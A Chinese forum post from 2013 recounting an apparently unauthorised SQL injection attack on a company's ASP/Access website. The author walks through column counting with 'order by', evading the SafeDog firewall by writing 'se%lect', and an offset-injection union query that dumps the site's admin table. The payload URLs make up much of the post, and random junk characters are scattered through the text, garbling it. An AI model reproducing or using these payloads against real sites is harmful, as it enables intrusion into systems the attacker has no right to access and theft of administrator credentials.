打开网站，一个企业站。0 ~" S1 z: `$ x8 g4 B
2 T& E7 i! X& O) L v$ }/ O+ J, |( J
$ D$ E4 }# h1 N9 K( a
顺手加个admin t/ e# L U) Y! a: k
1 b1 o: N8 C% S; }$ S; d8 y! t0 E- j5 \
默认后台。0 r: Z, y& }% R/ Q
回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。 r- S" e/ T9 j* `; B2 h
6 p: C2 S; G1 V8 [2 }6 d, `$ O
! l/ R% G% J+ ]. O
4 W/ C8 `# {( t4 B- j* q所以就不用御剑扫了，待会直接封IP。) z2 |& l) m/ p0 b6 H; }0 D2 s
- r3 M2 `' q/ V; J用order by语句判断是否存在注入。7 m0 Y: ^; s, s3 z" e: w' E
http://www.xxx.com /product_show.asp?id=997 order by 1- e. D/ y. I/ ^) A
http://www.xxx.com /product_show.asp?id=997 order by 100* Y% ~# M' E, e' H+ G( W' Y
现在存在注入，经测试后发现是9个字段。$ }& M; V! |, K0 h6 L
) U1 X. r# _3 ?4 w# L; b& }
接下来进行联合查询，猜是否存在admin表。
; R1 Z: g/ V0 ~http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。# J+ X* Y# l* _- h9 _. k% i3 Z
/ o& `( y' {9 n* D* { T5 p5 l! F- a: S! s8 |
$ B" C+ Y# P% A+ R& A5 r在select中间加个%,se%lect绕过安全狗。
- J6 ^! H4 w6 [, _/ L1 w/ `7 h+ y- |$ X. z6 I! r
6 v1 m6 G# j ~+ c" E9 o发现存在admin表，然后开始手工猜常用的字段。
0 J& Q: X) m0 ^! ?5 l6 S& a纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。" b* E+ k) U" t* W9 m# R
6 t5 g ~! P. U" N9 w' W突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。/ K' B- J( {8 q. D
, f# R" i* N2 |2 O科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。9 D' L" U7 { G# J# u0 G' A
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin9 c i( e/ P% w" c* Q( `! U
好了，敏感内容出显了。7 v) C: U# l' S6 A
" F% G9 x. H9 w! A# H' c4 }
: j+ h: _& }6 L; t* U. N9 m1 ]3 E; g. t7 p. E& d4 q
|
发表于 2013-3-8 21:49:45
收藏
支持
反对